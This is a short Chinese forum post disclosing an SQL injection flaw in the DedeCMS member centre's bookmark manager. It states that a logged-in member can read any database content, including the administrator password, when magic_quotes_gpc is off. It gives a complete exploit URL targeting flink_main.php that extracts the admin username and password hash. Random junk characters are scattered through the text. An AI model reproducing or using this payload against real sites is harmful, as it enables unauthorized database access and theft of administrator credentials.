DedeCMS会员中心SQL注射漏洞3 W ]$ G7 R) [0 d) g' I- A2 h! p8 X
需要magic_quotes_gpc = Off7 u8 r( j" S% y# a+ L
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.
% r! k. H0 H1 p4 k6 n) Y& ]
& F8 J7 _! G; WDedeCMS会员中心书签管理SQL注射漏洞
& j" k1 i: O/ K" ?成功利用该漏洞可获得管理员密码) k$ S- x* u. D6 D+ W ^
, I4 Z. q) @; W# `( G% v会员登录后可以执行SQL语句查询数据库任意内容如管理员密码8 T) u* i7 v# m* d7 o& U$ j
; n6 G" X0 [ K. k; \
http://bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=http://www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r
]) ~: Z X0 s7 p y2 ]9 q |
发表于 2012-12-31 09:21:18
收藏
支持
反对
发表于 2013-1-10 01:33:59